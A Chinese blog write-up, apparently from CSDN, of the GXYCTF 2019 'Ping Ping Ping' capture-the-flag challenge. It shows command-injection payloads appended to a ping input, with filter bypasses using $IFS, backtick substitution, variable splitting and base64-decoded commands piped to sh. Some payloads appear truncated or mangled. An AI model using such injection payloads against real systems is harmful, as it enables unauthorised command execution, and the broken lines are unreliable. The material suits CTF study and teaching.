本文最后更新于100 天前,其中的信息可能已经过时,如有错误请发送邮件到big_fw@foxmail.com
[GXYCTF 2019]Ping Ping Ping_[gxyctf2019]ping ping ping-CSDN博客
尝试127.0.0.1;ls
测试有没有rce漏洞
127.0.0.1;ls
发现flag.php
尝试读取flag.php,发现被过滤
使用空格绕过
;cat$IFS
ls
反引号内的内容会先被当成命令执行,再将执行结果作为外部命令的一部分再去执行。
在这里就是先执行 ls ,结果为 index.php flag.php ,再 cat 查看这些文件。其作用等同于
cat *
查看当前目录下所有文件,但是 ‘*’ 被过滤了。flag在源码里

总结
空格绕过
$IFS$9
‘ls’
payload1:反引号命令执行( ` ` )
;cat$IFS$9ls
反引号内的内容会先被当成命令执行,再将执行结果作为外部命令的一部分再去执行。
在这里就是先执行 ls ,结果为 index.php flag.php ,再 cat 查看这些文件。其作用等同于 cat * 查看当前目录下所有文件,但是 ‘*’ 被过滤了。
payload2:变量赋值再使用
;b=ag;a=fl;cat$IFS
意思就是将 “ag” 赋值给变量 b ,将 “fl” 赋值给变量 a ,最后拼接起来,
$IFS$1 也是用于替换空格。
payload3:base64 编码
`;echo$IFS
其中 Y2F0IGZsYWcucGhw 就是 cat flag.php 的 base64 编码。
“|” 是管道符,将上一条命令输出的结果作为下一条命令的输入。
base64 -d 是 Linux 中用于将字符串进行 base64 解码的命令。
sh 用于执行 shell 命令。
以此方式达成用 sh 命令执行 cat flag.php
的效果。